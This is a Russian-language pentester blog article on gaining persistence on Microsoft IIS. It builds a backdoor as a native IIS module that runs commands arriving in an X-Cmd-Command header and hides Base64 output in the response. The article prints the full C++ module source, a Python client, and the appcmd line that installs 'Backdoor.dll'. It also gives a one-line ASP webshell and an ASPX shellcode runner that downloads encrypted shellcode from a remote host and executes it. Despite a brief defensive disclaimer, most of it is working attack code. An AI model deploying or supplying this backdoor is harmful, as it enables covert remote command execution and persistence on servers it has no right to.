От HTTP к RCE. Как оставить бекдор в IIS

От HTTP к RCE. Как оставить бекдор в IIS, image #1

Всем добрый день! Меня зовут Михаил Жмайло, я пентестер в команде CICADA8 Центра инноваций МТС.

На проектах часто встречаются инстансы Internet Information Services (IIS). Это очень удобный инструмент, используемый в качестве сервера приложений. Но знаете ли вы, что даже простое развёртывание IIS может позволить злоумышленнику оставить бекдор в целевой среде?

В статье я покажу закрепление на системе, используя легитимный продукт Microsoft — Internet Information Services. Мы попрактикуемся в программировании на C++, изучим IIS Components и оставим бекдор через IIS Module.

Договоримся сразу: я рассказываю это всё не для того, чтобы вы пошли взламывать чужие системы, а чтобы вы знали, где могут оставить бекдор злоумышленники. Предупреждён — значит вооружён.

Введение

Во время проведения внутренних пентестов наша команда очень часто встречала стандартную заставку IIS. На одном проекте практически каждый компьютер имел это приложение. В тот же вечер я задался вопросом: «А что, если закрепиться на целевой системе и сохранить постоянный доступ к ней через IIS?».

Стандартная заставка IIS
Стандартная заставка IIS

К счастью, Windows даёт свободу действий разработчику: хочешь расширить возможности любой большой Enterprise-штуки? Да пожалуйста, вот тебе куча API!

Перед тем как создавать нашего монстра Франкенштейна, вспомним об уже известных способах закрепления на IIS.

Казино, блэкджек и шеллы

Издавна самым распространённым способом персиста (а в особых случаях и получением первоначального доступа) были веб-шеллы. Впрочем, из-за простоты, маленького веса и большой популярности появилось достаточно много способов обнаружить их появление на веб-сервере.

Здесь дружно смеёмся
Здесь дружно смеёмся

Кроме того, если не добавлять минимальнейший контроль доступа к веб-шеллу, то им сможет пользоваться любой желающий. Не очень круто, правда?

Наконец, кодировки. Возьмём стандартный веб-шелл .aspx. Загрузим в C:\inetpub\wwwroot, поставим права через icacls, запустим.

Абракадабра
Абракадабра

Я знал, что требования к пентестерам высокие, но знания эльфийского никто не просил.

Конечно, есть и чуть более аккуратные варианты.

<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>

Ровно как и чуть более громоздкие. Например, ASPX шеллкод-раннер с подгрузкой пейлоада с удалённого сервера и последующей дешифровкой AES.

Как тебе такое, Илон Маск?

<%@ Page Language="C#" AutoEventWireup="true" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.Linq" %>
<script runat="server">
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect);
[System.Runtime.InteropServices.DllImport("kernel32")]
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId);
[System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
private static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);
[ System.Runtime.InteropServices.DllImport("kernel32.dll")]
private static extern IntPtr GetCurrentProcess();
private byte[] Decrypt(byte[] data, byte[] key, byte[] iv)
{
using (var aes = Aes.Create())
{
aes.KeySize = 256;
aes.BlockSize = 128;
// Keep this in mind when you view your decrypted content as the size will likely be different.
aes.Padding = PaddingMode.Zeros;
aes.Key = key;
aes.IV = iv;
using (var decryptor = aes.CreateDecryptor(aes.Key, aes.IV))
{
return PerformCryptography(data, decryptor);
}
}
}
private byte[] PerformCryptography(byte[] data, ICryptoTransform cryptoTransform)
{
using (var ms = new MemoryStream())
using (var cryptoStream = new CryptoStream(ms, cryptoTransform, CryptoStreamMode.Write))
{
cryptoStream.Write(data, 0, data.Length);
cryptoStream.FlushFinalBlock();
return ms.ToArray();
}
}
private byte[] GetArray(string url)
{
using (WebClient webClient = new WebClient())
{
string content = webClient.DownloadString(url);
byte[] byteArray = content.Split(',')
.Select(hexValue => Convert.ToByte(hexValue.Trim(), 16))
.ToArray();
return byteArray;
}
}
private static Int32 MEM_COMMIT=0x1000;
private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;
protected void Page_Load(object sender, EventArgs e)
{
IntPtr mem = VirtualAllocExNuma(GetCurrentProcess(), IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);
if(mem == null)
{
return;
}
// Encrypted shellcode
byte[] Enc = GetArray("http://192.168.x.x/enc.txt");
// Key
byte[] Key = GetArray("http://192.168.x.x/key.txt");
// IV
byte[] Iv = GetArray("http://192.168.x.x/iv.txt");
// Decrypt our shellcode
byte[] e4qRS= Decrypt(Enc, Key, Iv);
// Allocate our memory buffer
IntPtr zG5fzCKEhae = VirtualAlloc(IntPtr.Zero,(UIntPtr)e4qRS.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);

// Copy our decrypted shellcode ito the buffer
System.Runtime.InteropServices.Marshal.Copy(e4qRS,0,zG5fzCKEhae,e4qRS.Length);
// Create a thread that contains our buffer
IntPtr aj5QpPE = IntPtr.Zero;
IntPtr oiAJp5aJjiZV = CreateThread(IntPtr.Zero,UIntPtr.Zero,zG5fzCKEhae,IntPtr.Zero,0,ref aj5QpPE);
}
</script>
<!DOCTYPE html>
<html>
<body>
<p>Check your listener...</p>
</body>
</html>

Существуют даже генераторы веб-шеллов. Сверху ко всему этому добавляется удовольствие для ценителей — перезапись web.config. Казалось бы, бери и не думай!

Но нет! Хочется чего-нибудь этакого: нового, необычного и достаточно скрытного, чтобы не каждый стажёр-защитник мог прогнать тебя со скомпрометированного хоста.

И такое решение нашлось.

IIS Components

Как я уже сказал, Microsoft позволяет расширять встроенную функциональность своих продуктов. До версии 7.0 в IIS были ISAPI Extensions и ISAPI Filters. Эти средства до сих пор доступны, но на смену им пришли IIS Handler и IIS Module соответственно.

IIS Handler позволяет обрабатывать полученный запрос на IIS и создавать ответ для различного типа контента. Например, существует хендлер в ASP.NET, позволяющий обрабатывать страницы ASPX (наши веб-шеллы в том числе).

IIS Module также участвует в обработке. IIS предоставляет ему полный и неограниченный доступ ко всем входящим и исходящим HTTP-запросам. Думаю, это наш кандидат. Сами модули можно разделить на два типа: Managed и Native. Managed — те, которые были написаны на C#, а Native — на C++. Список установленных модулей можно увидеть через стандартный диспетчер служб IIS.

Диспетчер служб IIS
Диспетчер служб IIS

Сам процесс закрепления аналогичен веб-шеллу: если идёт обращение по определённому эндпоинту с определёнными параметрами, то на системе выполняется команда.

Общий концепт

Я понимаю, как можно расширить функциональность в Windows. Всё основывается на написании собственной DLL-библиотеки с нужными методами. После её создания остаётся лишь зарегистрировать библиотеку в IIS и с помощью неё обрабатывать конкретные события, появляющиеся на сервере, например, получение нового HTTP-запроса.

Чтобы мы смогли зарегистрировать нашу библиотеку в IIS, она должна экспортировать функцию RegisterModule() со следующим прототипом:

HRESULT __stdcall RegisterModule(
DWORD dwServerVersion,
IHttpModuleRegistrationInfo* pModuleInfo,
IHttpServer* pHttpServer
)

dwServerVersion определяет версию сервера, на котором библиотека регистрируется. IHttpModuleRegistratioInfo — это так называемый интерфейс. Для неискушённых отмечу, что интерфейс в ООП можно считать некоторым обязательством класса по реализации определённых методов. Отличный разбор можно посмотреть тут.

Таким образом, обращаясь к переменной pModuleInfo (она будет идентифицировать наш модуль в IIS), мы можем извлечь имя текущего модуля с помощью GetName(), получить его ID через GetId(), но самое интересное (собственно, что нам и нужно) — подписаться на обработку определённых событий через SetRequestNotifications().

Ещё возможно установить приоритезацию, но она нам не особо интересна. Хотя если вы планируете писать высоконагруженный веб-шелл…

Впрочем, вернёмся к SetRequestNotifications().

virtual HRESULT SetRequestNotifications(  
IN IHttpModuleFactory* pModuleFactory,
IN DWORD dwRequestNotifications,
IN DWORD dwPostRequestNotifications
) = 0;

Это так называемая **чисто виртуальная функция**. Её логика должна быть реализована в каком-то классе. В нашем случае вызвать эту функцию можно, обратившись к pModuleInfo. Сама же функция принимает следующие аргументы:

  • pModuleFactory — экземпляр класса, который будет удовлетворять интерфейсу IHttpModuleFactory. То есть мы просто должны создать класс, указать, что он унаследован от интерфейса, и реализовать в этом классе методы GetHttpModule и Terminate
  • dwRequestNotifications — битовая маска, идентифицирующая все события, на которые подписывается IIS Module. Нас интересуют RQ_SEND_RESPONSE и RQ_BEGIN_REQUEST. Весь список возможных событий можно найти тут
  • dwPostRequestNotifications — битовая маска, идентифицирующая все так называемые post-event-события. Эту маску удобно использовать для обработки чего-то, что уже произошло на IIS. Нас это значение не особо интересует, поэтому ставим 0

В случае успешной инициализации функция RegisterModule() должна вернуть S_OK.

Логичный вопрос: «Где же обрабатывать события?». И перед тем как на него ответить, нужно разобраться со всеми классами и фабриками.

Класс, фабрика, племя и бедный иудей

В функции SetRequestNotification() нам следует первым параметром передать экземпляр класса, удовлетворяющего интерфейсу IHttpModuleFactory. Наш класс может быть каким угодно, главное, чтобы в нём была реализация двух методов: GetHttpModule() и Terminate().

Например, назовём класс неочевидным именем CHttpModuleFactory.

class CHttpModuleFactory : public IHttpModuleFactory
{
public:

HRESULT GetHttpModule( OUT CHttpModule** ppModule, IN IModuleAllocator* pAllocator)
{
... здесь код ...
}
void Terminate()
{
delete this;
}
};

Метод GetHttpModule() будет вызываться каждый раз, когда на IIS поступает запрос, обработка которого была зарегистрирована. Terminate() будет вызываться в конце обработки запроса.

Внутри GetHttpModule() наш класс должен создать экземпляр класса CHttpModule и вернуть адрес в переменную ppModule. Именно класс CHttpModule предоставляет функционал по обработке запросов на IIS, его определение представлено в стандартном заголовочном файле httpserv.h.

Определение класса CHttpModule
Определение класса CHttpModule

Если глянем на функции OutputDebugString(), то поймём, что мало создать экземпляр класса — мы должны предусмотреть реализацию метода для обработки конкретного события. Переопределить код существующего метода можно дочерним классом, назовём его CChildHttpModule.

В самом классе пока пропишем только прототипы методов, которые будем переопределять. Но очень хорошая практика, на мой взгляд, вставлять код метода в .h-файл — может возникнуть какая-нибудь LNK*-ошибка.

class CChildHttpModule : public CHttpModule
{
public:
REQUEST_NOTIFICATION_STATUS OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss);
};

Внутри GetHttpModule() предусмотрим код для создания экземпляра класса CChildHttpModule.

class CHttpModuleFactory : public IHttpModuleFactory
{
public:

HRESULT GetHttpModule( OUT CHttpModule** ppModule, IN IModuleAllocator*)
{
CChildHttpModule* pModule = new CChildHttpModule();
*ppModule = pModule;
pModule = NULL;
return S_OK;
}
void Terminate()
{
delete this;
}
};

Если подвести черту, то только что описанные действия реализуют паттерн проектирования, называемый «фабрикой» (отсюда и всякие *Factory в названиях интерфейсов). Этот паттерн позволяет создать объект (он и называется фабрикой) для создания других объектов. А затем, при обращении к фабрике, будут создаваться нужные объекты.

Вся логика работы теперь предельно ясна:

  1. Регистрируем модуль в IIS.
  2. IIS вызывает RegisterModule().
  3. Подписываемся на нужные события, отдаём через pModuleInfo->SetRequestNotifications() указатель на экземпляр нашей фабрики.
  4. IIS при появлении запроса обратится к методу GetHttpModule() нашей фабрики.
  5. Создастся новый инстанс класса CChildHttpModule().
  6. Вызовется нужный метод, соответствующий событию, с помощью этого инстанса класса. В нашем случае, если подписались на RQ_SEND_RESPONSE, то вызовется OnSendResponse().
  7. Внутри метода обрабатываем ответ веб-сервера.
  8. Возвращаем из метода RQ_NOTIFICATION_CONTINUE. Это значение свидетельствует об успешном завершении функции по обработке.
  9. IIS запускает метод Terminate().

Зачем обрабатывать ответ, если нужно запрос?

Логичнее было бы обрабатывать событие RQ_BEGIN_REQUEST с вызовом метода OnBeginRequest(). Но как в этом случае получать вывод? Конечно, можно что-то там накодить на сокетах или оставить слепое выполнение команд, но это не очень удобно. Поэтому я использовал RQ_SEND_RESPONSE. Тем более в методе OnSendResponse() через аргумент pHttpContext благодаря IHttpContext интерфейсу можно получить доступ как к запросу, так и к ответу.

Логика работы нашего инструмента будет предельно проста: осуществляем парсинг полученного запроса, обнаруживаем желание атакующего выполнить команду на системе, выполняем команду, добавляем вывод команды к ответу IIS-сервера — успех!

Начинаем кодить

Итак, создаём пустой проект для написания библиотеки динамической компоновки в Visual Studio. В функцию DllMain ничего не добавляем, она нам не нужна. Реализуем RegisterModule().

#include "pch.h"
#include <Windows.h>
#include <httpserv.h>
#include "classes.h"
CHttpModuleFactory* pFactory = NULL;
__declspec(dllexport) HRESULT __stdcall RegisterModule(
DWORD dwSrvVersion,
IHttpModuleRegistrationInfo* pModuleInfo,
IHttpServer* pHttpServer)
{
pFactory = new CHttpModuleFactory();
HRESULT hr = pModuleInfo->SetRequestNotifications(pFactory, RQ_SEND_RESPONSE, 0);
return hr;
}

В этом коде мы объявляем функцию, экспортируемую из DLL. Далее внутри неё создаём экземпляр новой фабрики, который будет использоваться IIS для создания объектов класса CChildHttpModule.

В заголовочном файле classes.h реализуем прототипы классов CHttpModuleFactory и CChildHttpModule.

#pragma once
#include <Windows.h>
#include <httpserv.h>
class CChildHttpModule : public CHttpModule
{
public:
REQUEST_NOTIFICATION_STATUS OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss);
};
class CHttpModuleFactory : public IHttpModuleFactory
{
public:
HRESULT GetHttpModule(CHttpModule** ppModule, IModuleAllocator* pModuleAlloc);
void Terminate();
};

В файле classes.cpp пишем логику методов этих классов.

#include "classes.h"
REQUEST_NOTIFICATION_STATUS OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss)
{
...
}
HRESULT CHttpModuleFactory::GetHttpModule(CHttpModule** ppModule, IModuleAllocator* pModuleAlloc)
{
CChildHttpModule* pModule = new CChildHttpModule();
*ppModule = pModule;
pModule = NULL;
return S_OK;
}
void CHttpModuleFactory::Terminate()
{
if (this != NULL)
{
delete this;
}
}

Дальше нужно понять, как мы хотим выполнять команду и видеть вывод. После этого решаем, как будем реализовывать функцию OnSendResponse().

Методы IHttp*-интерфейса

Для минимального POC предлагаю отсылать HTTP-пакет с заголовком X-Cmd-Command: <command>. Так как наш IIS Module зарегистрирован для обработки RQ_SEND_RESPONSE, то внутри IIS вызовется функция OnSendResponse(). Прототип у неё вот такой:

virtual REQUEST_NOTIFICATION_STATUS OnSendResponse(  
IN IHttpContext* pHttpContext,
IN ISendResponseProvider* pProvider
);

Здесь нас интересует указатель pHttpContext. Так как этот экземпляр реализует интерфейс IHttpContext, то мы можем использовать функции, определённые в этом интерфейсе.

Сначала нам следует извлечь полученный IIS запрос и отправляемый ответ. Это можно сделать с помощью методов pHttpContext->GetRequest() и pHttpContext->GetResponse().

В результате чего получим два экземпляра, соответствующих интерфейсу IHttpRequest и IHttpResponse.

Извлечь значение определённого заголовка позволяет метод GetHeader().

virtual PCSTR GetHeader(  
IN PCSTR pszHeaderName,
OUT USHORT* pcchHeaderValue = NULL
) const = 0;

virtual PCSTR GetHeader(
IN HTTP_HEADER_ID ulHeaderIndex,
OUT USHORT* pcchHeaderValue = NULL
) const = 0;

Остаётся лишь извлечь значение, отдать в cmd.exe /c <command>, после чего добавить результат выполнения к ответу веб-приложения. С первыми двумя шагами всё очевидно, GetHeader(), CreateProcess() с перенаправлением вывода в пайп, но как добавить результат выполнения команд?

Для этого используем метод SetHeader().

virtual HRESULT SetHeader(  
IN PCSTR pszHeaderName,
IN PCSTR pszHeaderValue,
IN USHORT cchHeaderValue,
IN BOOL fReplace
) = 0;

virtual HRESULT SetHeader(
IN HTTP_HEADER_ID ulHeaderIndex,
IN PCSTR pszHeaderValue,
IN USHORT cchHeaderValue,
IN BOOL fReplace
) = 0;

Обратите внимание, что этот метод присутствует и у IHttpRequest, но мы его вызываем по отношению к экземпляру IHttpResponse (ведь мы же хотим включить результат выполнения команды в ответ, так ведь? :) ).

Результат исполнения команды вставляем в формате Base64.

Как дебажить это чудо

Ранее в статье я уже упоминал о прекрасной функции OutputDebugString(). Её я буду использовать в том числе и в функции OnSendResponse(). В случае Native IIS Module это единственный возможный более-менее высокоуровневый способ (из известных мне) отладки и отлова ошибок при разработке. OutputDebugString() делает вот что:

  • если текущий процесс отлаживается, то текст прямиком отправляется в отладчик
  • иначе — вызывает стандартную функцию OpenEvent() и пытается открыть хендл на два именованных события. Одно с именем DBWIN_BUFFER_READY, другое — DBWIN_DATA_READY. Если одно из них или оба не найдены, то строка, переданная в функцию, просто очищается
  • если события существуют, то идёт помещение строки в память путём вызова OpenFileMapping() с именем DBWIN_BUFFER. Если этот маппинг не найден, то текст просто очищается
  • наконец, если все три объекта существуют, OutputDebugString() вызывает MapViewOfFile() для создания маппинга, и строка появляется в памяти. Её оттуда можно считать

Для удобства можно воспользоваться, например, DebugView.

Вот пример двух программ, одна из которых получает строки, отправляемые другой с помощью функции Outputdebugstring():

#include <Windows.h>
#include <stdio.h>
#include <atltime.h>
int main() {
HANDLE hBufferReady = ::CreateEvent(nullptr, FALSE, FALSE,
L"DBWIN_BUFFER_READY");
HANDLE hDataReady = ::CreateEvent(nullptr, FALSE, FALSE,
L"DBWIN_DATA_READY");
DWORD size = 1 << 12;
HANDLE hMemFile = ::CreateFileMapping(INVALID_HANDLE_VALUE, nullptr,
PAGE_READWRITE, 0, size, L"DBWIN_BUFFER");
auto buffer = (BYTE*)::MapViewOfFile(hMemFile, FILE_MAP_READ,
0, 0, 0);
while (WAIT_OBJECT_0 == ::SignalObjectAndWait(hBufferReady, hDataReady,
INFINITE, FALSE)) {
SYSTEMTIME local;
::GetLocalTime(&local);
DWORD pid = *(DWORD*)buffer;
printf("%ws.%03d %6d: %s\n",
(PCWSTR)CTime(local).Format(L"%X"),
local.wMilliseconds, pid,
(const char*)(buffer + sizeof(DWORD)));
}
getchar();
return 0;
}

А вот программа, отправляющая строку:

#include <windows.h>
int main()
{
LPCWSTR str = (LPCWSTR)L"Hi!!!";
OutputDebugString(str);
return 0;
}

Вывод следующий:

Успешная отладка
Успешная отладка

Примерно так выглядит процесс отладки с помощью DebugView:

Функции в коде
Функции в коде
Интерфейс DebugView
Интерфейс DebugView

Написание финального POC

Итак, нам остаётся лишь корректно описать всё в методе OnSendResponse() и получить работающий бекдор. Начнём с функций по кодированию. Будем использовать base64, поэтому здесь всё просто. Так как функция SetHeader() принимает LPCSTR, то наша функция EncodeBase64() будет возвращать LPCSTR. Кодируемые данные будут лежать в BYTE-буфере, поэтому первым аргументом будет адрес буфера, вторым — его размер.

const char base64_chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
LPCSTR EncodeBase64(BYTE* buffer, size_t in_len) {
std::string out;
int val = 0, valb = -6;
for (size_t i = 0; i < in_len; ++i) {
unsigned char c = buffer[i];
val = (val << 8) + c;
valb += 8;
while (valb >= 0) {
out.push_back(base64_chars[(val >> valb) & 0x3F]);
valb -= 6;
}
}
if (valb > -6) out.push_back(base64_chars[((val << 8) >> (valb + 8)) & 0x3F]);
while (out.size() % 4) out.push_back('=');
char* encodedString = new char[out.length() + 1];
std::memcpy(encodedString, out.data(), out.length());
encodedString[out.length()] = '\0';
return encodedString;
}

Расписывать принцип работы алгоритма, думаю, нет смысла, ведь это стандартный Base64.

Перейдём к самому сочному — обработке OnSendResponse(). Я сначала предоставлю полный код функции, а затем мы его пошагово разберём.

REQUEST_NOTIFICATION_STATUS CChildHttpModule::OnSendResponse(IN IHttpContext* pHttpContext, IN ISendResponseProvider* pProviderss)
{
OutputDebugString(L"OnSendResponse IN");
IHttpRequest* pHttpRequest = pHttpContext->GetRequest();
IHttpResponse* pHttpResponse = pHttpContext->GetResponse();
USHORT uComLen = 0;
LPCSTR lpCommand = pHttpRequest->GetHeader(HEADER, &uComLen);
if (lpCommand == NULL || uComLen == 0) {
OutputDebugString(L"lpCommand == NULL || uComLen == 0");
return RQ_NOTIFICATION_CONTINUE;
}
OutputDebugString(L"Command isn't null");

lpCommand = (LPCSTR)pHttpContext->AllocateRequestMemory(uComLen + 1);
lpCommand = (LPCSTR)pHttpRequest->GetHeader(HEADER, &uComLen);
std::vector<BYTE> output;
if (ExecuteCommand(lpCommand, output) != 0)
{
OutputDebugString(L"ExecuteCommand Failed");
return RQ_NOTIFICATION_CONTINUE;
}
OutputDebugString(L"ExecuteCommand success");
if (output.empty())
{
OutputDebugString(L"Buffer Is empty!");
return RQ_NOTIFICATION_CONTINUE;
}
OutputDebugString(L"Buffer is not empty");
LPCSTR b64Data = EncodeBase64(output.data(), output.size());
if (b64Data == NULL)
{
OutputDebugString(L"Base64 Data Is Null!");
return RQ_NOTIFICATION_CONTINUE;
}
pHttpResponse->SetHeader(HEADER, b64Data, strlen(b64Data), false);
output.clear();
delete[] b64Data;
OutputDebugString(L"OnSendResponse OUT");
return RQ_NOTIFICATION_CONTINUE;
}

Во-первых, как и обещал, множество OutputDebugString(). Это позволяет через DebugView отслеживать состояние модуля IIS.

Отладка через DebugView
Отладка через DebugView

Во-вторых, извлекаем из pHttpContext экземпляр ответа и запроса.

IHttpRequest* pHttpRequest = pHttpContext->GetRequest();
IHttpResponse* pHttpResponse = pHttpContext->GetResponse();

Затем через чтение заголовка X-Cmd-Command получаем значение команды, которую следует исполнить.

LPCSTR lpCommand = pHttpRequest->GetHeader(HEADER, &uComLen);
if (lpCommand == NULL || uComLen == 0) {
OutputDebugString(L"lpCommand == NULL || uComLen == 0");
return RQ_NOTIFICATION_CONTINUE;
}
OutputDebugString(L"Command isn't null");
lpCommand = (LPCSTR)pHttpContext->AllocateRequestMemory(uComLen + 1);
lpCommand = (LPCSTR)pHttpRequest->GetHeader(HEADER, &uComLen);

Обратите внимание, что заголовок я поместил в переменную HEADER. Она определена в файле defs.h. Это позволяет достаточно быстро и без особых проблем менять используемый заголовок.

Основная функциональность нашего бекдора — выполнение произвольных команд. Поэтому я создаю вектор с данными типа BYTE. В этой переменной будет находиться результат выполнения команды.

std::vector<BYTE> output;
if (ExecuteCommand(lpCommand, output) != 0)
{
OutputDebugString(L"ExecuteCommand Failed");
return RQ_NOTIFICATION_CONTINUE;
}
OutputDebugString(L"ExecuteCommand success");
if (output.empty())
{
OutputDebugString(L"Buffer Is empty!");
return RQ_NOTIFICATION_CONTINUE;
}
OutputDebugString(L"Buffer is not empty");

ExecuteCommand() выглядит вот так.

DWORD ExecuteCommand(LPCSTR command, std::vector<BYTE>& outputBuffer) {
STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE };
HANDLE hReadPipe, hWritePipe;
BOOL success = FALSE;
if (!CreatePipe(&hReadPipe, &hWritePipe, &sa, 0)) {
OutputDebugString(L"CreatePipe failed");
return -1;
}
ZeroMemory(&si, sizeof(STARTUPINFOA));
si.cb = sizeof(STARTUPINFOA);
si.dwFlags |= STARTF_USESTDHANDLES;
si.hStdOutput = hWritePipe;
si.hStdError = hWritePipe;
char cmdCommand[MAX_PATH];
snprintf(cmdCommand, MAX_PATH, "C:\\Windows\\System32\\cmd.exe /c %s", command);
if (!CreateProcessA(
NULL,
cmdCommand,
NULL,
NULL,
TRUE,
CREATE_NO_WINDOW,
NULL,
NULL,
&si,
&pi)) {
OutputDebugString(L"CreateProcessA failed");
CloseHandle(hReadPipe);
CloseHandle(hWritePipe);
return -1;
}
OutputDebugString(L"CreateProcessA Success");
CloseHandle(hWritePipe);
outputBuffer.clear();

const DWORD tempBufferSize = 4096;
std::vector<BYTE> tempBuffer(tempBufferSize);
DWORD bytesRead;
while (true) {
if (!ReadFile(hReadPipe, tempBuffer.data(), tempBufferSize, &bytesRead, NULL) || bytesRead == 0)
break;
outputBuffer.insert(outputBuffer.end(), tempBuffer.begin(), tempBuffer.begin() + bytesRead);
}
CloseHandle(hWritePipe);
CloseHandle(hReadPipe);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return 0;
}

Матёрому безопаснику эта функция покажется донельзя простой. Первым делом создаём пайп для получения результата команды. Следующим шагом генерируем исполняемую команду (cmd.exe /c <command>), после чего её выполняем. Результат выполнения упадёт в пайп, из которого мы считываем данные и помещаем их в наш вектор.

Процесс чтения также достаточно прост. Как только функция начинает завершаться с ошибкой либо данные перестают читаться, значит всё, конец чтения :)

После считывания всех данных в вектор кодируем его в Base64 и вставляем в ответ веб-сервера через метод SetHeader().

LPCSTR b64Data = EncodeBase64(output.data(), output.size());
if (b64Data == NULL)
{
OutputDebugString(L"Base64 Data Is Null!");
return RQ_NOTIFICATION_CONTINUE;
}
OutputDebugStringA(b64Data);
pHttpResponse->SetHeader(HEADER, b64Data, strlen(b64Data), false);
output.clear();
delete[] b64Data;
OutputDebugString(L"OnSendResponse OUT");
return RQ_NOTIFICATION_CONTINUE;
}

Выполняем команды

Момент истины! Добиваемся выполнения команд. Для того чтобы отправлять запросы на заражённый IIS, напишем простенький скрипт на Python.

import requests
import argparse
import base64
parser = argparse.ArgumentParser(description='Send a custom command to a server and print the response.')
parser.add_argument('--host', type=str, required=True, help='HTTP URL of the host to connect to')
parser.add_argument('--cmd', type=str, required=True, help='Command to send in the X-Cmd-Command header')
parser.add_argument('--header', type=str, default='X-Cmd-Command', help='Header to receive the response in, defaults to X-Cmd-Command')
args = parser.parse_args()
url = args.host
headers = {
args.header: args.cmd
}
response = requests.get(url, headers=headers)
if response.status_code == 200:
response_value = response.headers.get(args.header)
if response_value:
decoded_value = base64.b64decode(response_value.encode()).decode()
print(f"Значение заголовка {args.header} в ответе: {decoded_value}")
else:
print(f"Заголовок {args.header} отсутствует в ответе.")
else:
print(f"Ошибка: Не удалось соединиться с сервером. Статус код: {response.status_code}")

Скрипт принимает два необходимых и один опциональный параметр:

  • --host — URL-адрес хоста, на котором расположен IIS
  • --cmd — команда для выполнения
  • --header — имя заголовка, через который отдаём команду и получаем вывод. Используем X-Cmd-Command, но если вы перекомпилируете проект с другим заголовком, то не забудьте указать новое значение

Перед тем как увидеть столь заветный результат, не забудьте зарегистрировать в IIS наш модуль. Делается одной простой командой:

C:\Windows\system32\inetsrv\appcmd.exe install module /name:"Backdoor" /image:C:\Windows\System32\inetsrv\Backdoor.dll /add:true

Можно, конечно, установить через графический интерфейс, но это как-то не по-хакерски.

При успешной регистрации увидим в DebugView строку RegisterModule.

Успешная регистрация бекдора
Успешная регистрация бекдора

Если мы просто зайдём на IIS и будем обновлять страницу, то ничего подозрительного не будет. Можем лишь видеть, как успешно логируется наше же сообщение о том, что никакой команды получено не было.

Обычный IIS
Обычный IIS

Запускаем наш Python-скрипт и видим успешное выполнение команды!

Успешное выполнение команды
Успешное выполнение команды

Success!

Заключение

Порой вполне стандартные и легитимные механизмы могут оказаться весьма полезными при проведении пентестов. Есть ещё очень много функциональности, которую можно добавить к этому проекту. Например, было бы отлично кодировать не только вывод, но и ввод. Чтобы в заголовке X-Cmd-Command отдавалась команда в Base64. К счастью, получать значение заголовка мы научились. За вами — прикрутить функцию по декодированию из Base64. Все необходимые данные уже лежат в base64.cpp. Дерзайте :)

Полный код проекта доступен на GitHub

18 views·1 share